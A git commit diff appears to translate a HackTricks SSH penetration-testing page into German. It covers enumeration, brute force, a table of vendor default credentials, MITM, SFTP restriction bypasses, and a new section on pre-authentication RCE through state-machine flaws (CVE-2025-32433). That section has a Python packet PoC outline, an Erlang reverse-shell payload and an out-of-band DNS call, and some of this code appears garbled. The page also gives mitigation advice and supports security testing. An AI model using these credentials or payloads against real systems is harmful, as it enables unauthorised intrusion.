Translated ['src/network-services-pentesting/pentesting-ssh.md'] to de

This commit is contained in:
Translator 2025-08-14 00:19:33 +00:00
parent 8dfc571a7b
commit aa9dbf6a80

View File

@ -17,9 +17,9 @@
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) SSH-Implementierung für Windows, der Client wird häufig verwendet, die Nutzung des Servers ist seltener - [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) SSH-Implementierung für Windows, der Client wird häufig verwendet, die Nutzung des Servers ist seltener
- [CopSSH](https://www.itefix.net/copssh) Implementierung von OpenSSH für Windows - [CopSSH](https://www.itefix.net/copssh) Implementierung von OpenSSH für Windows
**SSH-Bibliotheken (Server-seitige Implementierung):** **SSH-Bibliotheken (Server-seitig implementiert):**
- [libssh](https://www.libssh.org) plattformübergreifende C-Bibliothek, die das SSHv2-Protokoll mit Bindings in [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) und [R](https://github.com/ropensci/ssh); wird von KDE für sftp und von GitHub für die git SSH-Infrastruktur verwendet - [libssh](https://www.libssh.org) plattformübergreifende C-Bibliothek, die das SSHv2-Protokoll mit Bindings in [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) und [R](https://github.com/ropensci/ssh) implementiert; wird von KDE für sftp und von GitHub für die git SSH-Infrastruktur verwendet
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) SSHv2-Serverbibliothek, die in ANSI C geschrieben ist und für eingebettete, RTOS- und ressourcenbeschränkte Umgebungen ausgelegt ist - [wolfSSH](https://www.wolfssl.com/products/wolfssh/) SSHv2-Serverbibliothek, die in ANSI C geschrieben ist und für eingebettete, RTOS- und ressourcenbeschränkte Umgebungen ausgelegt ist
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) Apache SSHD Java-Bibliothek basiert auf Apache MINA - [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) Apache SSHD Java-Bibliothek basiert auf Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) Python SSHv2-Protokollbibliothek - [paramiko](https://github.com/paramiko/paramiko) Python SSHv2-Protokollbibliothek
@ -45,7 +45,7 @@ ssh-audit ist ein Tool zur Überprüfung der Konfiguration von SSH-Servern und -
- Algorithmusinformationen ausgeben (verfügbar seit, entfernt/deaktiviert, unsicher/schwach/legacy usw.); - Algorithmusinformationen ausgeben (verfügbar seit, entfernt/deaktiviert, unsicher/schwach/legacy usw.);
- Algorithmusempfehlungen ausgeben (hinzufügen oder entfernen basierend auf der erkannten Softwareversion); - Algorithmusempfehlungen ausgeben (hinzufügen oder entfernen basierend auf der erkannten Softwareversion);
- Sicherheitsinformationen ausgeben (verwandte Probleme, zugewiesene CVE-Liste usw.); - Sicherheitsinformationen ausgeben (verwandte Probleme, zugewiesene CVE-Liste usw.);
- Analyse der SSH-Versionen-Kompatibilität basierend auf Algorithmusinformationen; - Kompatibilität der SSH-Version basierend auf Algorithmusinformationen analysieren;
- Historische Informationen von OpenSSH, Dropbear SSH und libssh; - Historische Informationen von OpenSSH, Dropbear SSH und libssh;
- Läuft auf Linux und Windows; - Läuft auf Linux und Windows;
- Keine Abhängigkeiten - Keine Abhängigkeiten
@ -69,7 +69,7 @@ use -t to change timeout)
(default: 5) (default: 5)
$ python3 ssh-audit <IP> $ python3 ssh-audit <IP>
``` ```
[Siehe es in Aktion (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp) [Sieh es dir in Aktion an (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
### Öffentlicher SSH-Schlüssel des Servers ### Öffentlicher SSH-Schlüssel des Servers
```bash ```bash
@ -93,7 +93,7 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
## Brute-Force-Benutzernamen, Passwörter und private Schlüssel ## Brute-Force-Benutzernamen, Passwörter und private Schlüssel
### Benutzernamen-Enumeration ### Benutzernamenenumeration
In einigen Versionen von OpenSSH können Sie einen Timing-Angriff durchführen, um Benutzer zu enumerieren. Sie können ein Metasploit-Modul verwenden, um dies auszunutzen: In einigen Versionen von OpenSSH können Sie einen Timing-Angriff durchführen, um Benutzer zu enumerieren. Sie können ein Metasploit-Modul verwenden, um dies auszunutzen:
``` ```
@ -105,7 +105,7 @@ Einige gängige ssh-Anmeldeinformationen [hier](https://github.com/danielmiessle
### Private Key Brute Force ### Private Key Brute Force
Wenn Sie einige ssh-Private-Keys kennen, die verwendet werden könnten... lassen Sie es uns versuchen. Sie können das nmap-Skript verwenden: Wenn Sie einige ssh-private Schlüssel kennen, die verwendet werden könnten... lassen Sie es uns versuchen. Sie können das nmap-Skript verwenden:
``` ```
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
``` ```
@ -113,7 +113,7 @@ Oder das MSF-Hilfsmodul:
``` ```
msf> use scanner/ssh/ssh_identify_pubkeys msf> use scanner/ssh/ssh_identify_pubkeys
``` ```
Oder verwenden Sie `ssh-keybrute.py` (natives python3, leichtgewichtig und mit aktivierten Legacy-Algorithmen): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Or use `ssh-keybrute.py` (native python3, leichtgewichtig und hat veraltete Algorithmen aktiviert): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
#### Bekannte schlechte Schlüssel finden Sie hier: #### Bekannte schlechte Schlüssel finden Sie hier:
@ -129,7 +129,7 @@ Sie sollten hier nach gültigen Schlüsseln für die Zielmaschine suchen.
### Kerberos ### Kerberos
**crackmapexec** verwendet das `ssh`-Protokoll und kann die Option `--kerberos` verwenden, um **über Kerberos zu authentifizieren**.\ **crackmapexec** verwendet das `ssh`-Protokoll und kann die Option `--kerberos` nutzen, um **über Kerberos zu authentifizieren**.\
Für weitere Informationen führen Sie `crackmapexec ssh --help` aus. Für weitere Informationen führen Sie `crackmapexec ssh --help` aus.
## Standardanmeldeinformationen ## Standardanmeldeinformationen
@ -137,7 +137,7 @@ Für weitere Informationen führen Sie `crackmapexec ssh --help` aus.
| **Anbieter** | **Benutzernamen** | **Passwörter** | | **Anbieter** | **Benutzernamen** | **Passwörter** |
| ------------ | --------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | ------------ | --------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc | | APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne | | Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme | | Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler | | Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user | | D-Link | admin, user | private, admin, user |
@ -147,7 +147,7 @@ Für weitere Informationen führen Sie `crackmapexec ssh --help` aus.
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 | | Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer | | IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen | | Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 | | NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle | | Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default | | VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
@ -158,10 +158,10 @@ Wenn Sie sich im lokalen Netzwerk des Opfers befinden, das sich mit Benutzername
**Angriffsweg:** **Angriffsweg:**
- **Traffic-Umleitung:** Der Angreifer **leitet** den Datenverkehr des Opfers auf seine Maschine um und **unterbricht** effektiv den Verbindungsversuch zum SSH-Server. - **Traffic-Umleitung:** Der Angreifer **leitet** den Datenverkehr des Opfers auf seine Maschine um und **unterbricht** effektiv den Verbindungsversuch zum SSH-Server.
- **Abfangen und Protokollieren:** Die Maschine des Angreifers fungiert als **Proxy**, der die Anmeldedaten des Benutzers erfasst, indem sie sich als legitimer SSH-Server ausgibt. - **Abfangen und Protokollieren:** Die Maschine des Angreifers fungiert als **Proxy**, der die Anmeldedaten des Benutzers erfasst, indem sie sich als der legitime SSH-Server ausgibt.
- **Befehlsausführung und Weiterleitung:** Schließlich **protokolliert** der Server des Angreifers die Anmeldeinformationen des Benutzers, **leitet die Befehle** an den echten SSH-Server weiter, **führt** sie aus und **sendet die Ergebnisse zurück** an den Benutzer, wodurch der Prozess nahtlos und legitim erscheint. - **Befehlsausführung und Weiterleitung:** Schließlich **protokolliert** der Server des Angreifers die Anmeldeinformationen des Benutzers, **leitet die Befehle** an den echten SSH-Server weiter, **führt** sie aus und **sendet die Ergebnisse zurück** an den Benutzer, wodurch der Prozess nahtlos und legitim erscheint.
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) tut genau das, was oben beschrieben ist. [**SSH MITM**](https://github.com/jtesta/ssh-mitm) macht genau das, was oben beschrieben ist.
Um den tatsächlichen MitM durchzuführen, könnten Sie Techniken wie ARP-Spoofing, DNS-Spoofing oder andere, die in den [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing) beschrieben sind, verwenden. Um den tatsächlichen MitM durchzuführen, könnten Sie Techniken wie ARP-Spoofing, DNS-Spoofing oder andere, die in den [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing) beschrieben sind, verwenden.
@ -176,7 +176,7 @@ SSH-Snake führt die folgenden Aufgaben automatisch und rekursiv aus:
3. Versuchen Sie, sich mit allen entdeckten Privatschlüsseln in alle Ziele einzuloggen, 3. Versuchen Sie, sich mit allen entdeckten Privatschlüsseln in alle Ziele einzuloggen,
4. Wenn eine Verbindung zu einem Ziel erfolgreich hergestellt wird, wiederholen Sie die Schritte #1 - #4 auf dem verbundenen System. 4. Wenn eine Verbindung zu einem Ziel erfolgreich hergestellt wird, wiederholen Sie die Schritte #1 - #4 auf dem verbundenen System.
Es ist vollständig selbstreplizierend und selbstverbreitend und vollständig dateilos. Es ist vollständig selbstreplicierend und selbstverbreitend und vollständig dateilos.
## Konfigurationsfehler ## Konfigurationsfehler
@ -197,7 +197,7 @@ Es ist üblich, dass SSH-Server standardmäßig den Root-Benutzer-Login zulassen
### SFTP-Befehlsausführung ### SFTP-Befehlsausführung
Es gibt einen häufigen Fehler bei SFTP-Setups, bei dem Administratoren beabsichtigen, dass Benutzer Dateien austauschen, ohne den Zugriff auf die Remote-Shell zu aktivieren. Trotz der Einstellung von Benutzern mit nicht-interaktiven Shells (z. B. `/usr/bin/nologin`) und der Einschränkung auf ein bestimmtes Verzeichnis bleibt eine Sicherheitslücke. **Benutzer können diese Einschränkungen umgehen**, indem sie die Ausführung eines Befehls (wie `/bin/bash`) sofort nach dem Einloggen anfordern, bevor ihre vorgesehene nicht-interaktive Shell übernimmt. Dies ermöglicht die unbefugte Ausführung von Befehlen und untergräbt die beabsichtigten Sicherheitsmaßnahmen. Es gibt einen häufigen Fehler bei SFTP-Setups, bei dem Administratoren beabsichtigen, dass Benutzer Dateien austauschen, ohne den Zugriff auf die Remote-Shell zu aktivieren. Trotz der Einstellung von Benutzern mit nicht-interaktiven Shells (z. B. `/usr/bin/nologin`) und der Einschränkung auf ein bestimmtes Verzeichnis bleibt eine Sicherheitslücke bestehen. **Benutzer können diese Einschränkungen umgehen**, indem sie die Ausführung eines Befehls (wie `/bin/bash`) sofort nach dem Einloggen anfordern, bevor ihre vorgesehene nicht-interaktive Shell übernimmt. Dies ermöglicht die unbefugte Ausführung von Befehlen und untergräbt die beabsichtigten Sicherheitsmaßnahmen.
[Beispiel von hier](https://community.turgensec.com/ssh-hacking-guide/): [Beispiel von hier](https://community.turgensec.com/ssh-hacking-guide/):
```bash ```bash
@ -242,7 +242,7 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
``` ```
### SFTP Symlink ### SFTP Symlink
Der **sftp** hat den Befehl "**symlink**". Daher, wenn Sie **schreibbare Rechte** in einem Ordner haben, können Sie **Symlinks** von **anderen Ordnern/Dateien** erstellen. Da Sie wahrscheinlich in einem chroot **eingeschlossen** sind, wird dies für Sie **nicht besonders nützlich** sein, aber wenn Sie auf den erstellten **Symlink** von einem **no-chroot** **Dienst** zugreifen können (zum Beispiel, wenn Sie auf den Symlink über das Web zugreifen können), könnten Sie **die symlinkten Dateien über das Web öffnen**. Der **sftp** hat den Befehl "**symlink**". Daher, wenn Sie **schreibbare Rechte** in einem Ordner haben, können Sie **Symlinks** von **anderen Ordnern/Dateien** erstellen. Da Sie wahrscheinlich in einem chroot **eingeschlossen** sind, wird dies für Sie **nicht besonders nützlich sein**, aber wenn Sie auf den erstellten **Symlink** von einem **no-chroot** **Dienst** (zum Beispiel, wenn Sie auf den Symlink über das Web zugreifen können) zugreifen können, könnten Sie **die symlinkten Dateien über das Web öffnen**.
Zum Beispiel, um einen **Symlink** von einer neuen Datei **"**_**froot**_**" zu "**_**/**_**"** zu erstellen: Zum Beispiel, um einen **Symlink** von einer neuen Datei **"**_**froot**_**" zu "**_**/**_**"** zu erstellen:
```bash ```bash
@ -252,7 +252,7 @@ Wenn Sie auf die Datei "_froot_" über das Web zugreifen können, sind Sie in de
### Authentifizierungsmethoden ### Authentifizierungsmethoden
In hochsicheren Umgebungen ist es gängige Praxis, nur schlüsselbasierte oder Zwei-Faktor-Authentifizierung zu aktivieren, anstatt die einfache passwortbasierte Authentifizierung. Oft werden jedoch die stärkeren Authentifizierungsmethoden aktiviert, ohne die schwächeren zu deaktivieren. Ein häufiges Beispiel ist die Aktivierung von `publickey` in der openSSH-Konfiguration und die Festlegung als Standardmethode, ohne `password` zu deaktivieren. Durch die Verwendung des ausführlichen Modus des SSH-Clients kann ein Angreifer sehen, dass eine schwächere Methode aktiviert ist: In hochsicheren Umgebungen ist es gängige Praxis, nur schlüsselbasierte oder Zwei-Faktor-Authentifizierung zu aktivieren, anstatt die einfache faktorenbasierte Passwortauthentifizierung. Oft werden jedoch die stärkeren Authentifizierungsmethoden aktiviert, ohne die schwächeren zu deaktivieren. Ein häufiges Beispiel ist die Aktivierung von `publickey` in der openSSH-Konfiguration und die Festlegung als Standardmethode, ohne `password` zu deaktivieren. Durch die Verwendung des ausführlichen Modus des SSH-Clients kann ein Angreifer sehen, dass eine schwächere Methode aktiviert ist:
```bash ```bash
ssh -v 192.168.1.94 ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
@ -267,7 +267,7 @@ debug1: Next authentication method: password
``` ```
Die Überprüfung der SSH-Serverkonfiguration ist notwendig, um sicherzustellen, dass nur die erwarteten Methoden autorisiert sind. Die Verwendung des ausführlichen Modus auf dem Client kann helfen, die Effektivität der Konfiguration zu sehen. Die Überprüfung der SSH-Serverkonfiguration ist notwendig, um sicherzustellen, dass nur die erwarteten Methoden autorisiert sind. Die Verwendung des ausführlichen Modus auf dem Client kann helfen, die Effektivität der Konfiguration zu sehen.
### Config-Dateien ### Config files
```bash ```bash
ssh_config ssh_config
sshd_config sshd_config
@ -281,10 +281,66 @@ id_rsa
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt) - [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2) - [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
## Authentication State-Machine Bypass (Pre-Auth RCE)
Mehrere SSH-Server-Implementierungen enthalten logische Fehler in der **Authentifizierungs-Endzustandsmaschine**, die es einem Client ermöglichen, *Verbindungsprotokoll*-Nachrichten **vor** Abschluss der Authentifizierung zu senden. Da der Server nicht überprüft, dass er sich im richtigen Zustand befindet, werden diese Nachrichten so behandelt, als wäre der Benutzer vollständig authentifiziert, was zu **unauthentifiziertem Codeausführung** oder Sitzungscreation führt.
Auf Protokollebene gehört jede SSH-Nachricht mit einem _Nachrichtencode_ **≥ 80** (0x50) zur *Verbindungsschicht* (RFC 4254) und muss **nur nach erfolgreicher Authentifizierung akzeptiert werden** (RFC 4252). Wenn der Server eine dieser Nachrichten verarbeitet, während er sich noch im *SSH_AUTHENTICATION*-Zustand befindet, kann der Angreifer sofort einen Kanal erstellen und Aktionen wie die Ausführung von Befehlen, Port-Weiterleitung usw. anfordern.
### Generic Exploitation Steps
1. Stellen Sie eine TCP-Verbindung zum SSH-Port des Ziels her (gewöhnlich 22, aber andere Dienste können Erlang/OTP auf 2022, 830, 2222… bereitstellen).
2. Erstellen Sie ein rohes SSH-Paket:
* 4-Byte **packet_length** (big-endian)
* 1-Byte **message_code** ≥ 80 (z.B. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
* Payload, die vom gewählten Nachrichtentyp verstanden wird
3. Senden Sie das/die Paket(e) **vor Abschluss eines Authentifizierungsschrittes**.
4. Interagieren Sie mit den Server-APIs, die jetzt _pre-auth_ exponiert sind (Befehlsausführung, Portweiterleitung, Dateisystemzugriff, …).
Python proof-of-concept outline:
```python
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
```
In der Praxis müssen Sie den Schlüsselaustausch je nach Zielimplementierung durchführen (oder überspringen), aber **keine Authentifizierung** wird jemals durchgeführt.
---
### Erlang/OTP `sshd` (CVE-2025-32433)
* **Betroffene Versionen:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
* **Ursache:** Der native SSH-Daemon von Erlang validiert den aktuellen Zustand nicht, bevor er `ssh_connection:handle_msg/2` aufruft. Daher erreicht jedes Paket mit einem Nachrichten-Code von 80-255 den Verbindungs-Handler, während sich die Sitzung noch im *userauth*-Zustand befindet.
* **Auswirkungen:** nicht authentifizierte **Remote-Code-Ausführung** (der Daemon läuft normalerweise als **root** auf eingebetteten/OT-Geräten).
Beispiel-Payload, die eine umgekehrte Shell erzeugt, die an den vom Angreifer kontrollierten Kanal gebunden ist:
```erlang
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
```
Blind RCE / out-of-band detection kann über DNS durchgeführt werden:
```erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
```
Detection & Mitigation:
* Überprüfen Sie den SSH-Verkehr: **verwerfen Sie jedes Paket mit einer Nachrichtenkodierung ≥ 80, das vor der Authentifizierung beobachtet wird**.
* Aktualisieren Sie Erlang/OTP auf **27.3.3 / 26.2.5.11 / 25.3.2.20** oder neuer.
* Beschränken Sie die Exposition von Verwaltungsports (22/2022/830/2222) insbesondere bei OT-Geräten.
---
### Andere betroffene Implementierungen
* **libssh** 0.6 0.8 (Server-Seite) **CVE-2018-10933** akzeptiert ein nicht authentifiziertes `SSH_MSG_USERAUTH_SUCCESS`, das vom Client gesendet wird, was effektiv den umgekehrten Logikfehler darstellt.
Die allgemeine Lektion ist, dass jede Abweichung von den im RFC vorgeschriebenen Zustandsübergängen fatal sein kann; achten Sie beim Überprüfen oder Fuzzing von SSH-Daemons besonders auf *Zustandsmaschinen-Durchsetzung*.
## References ## References
- Sie können interessante Anleitungen finden, wie Sie SSH absichern können, unter [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html) - [Unit 42 Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide) - [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
## HackTricks Automatic Commands ## HackTricks Automatic Commands
``` ```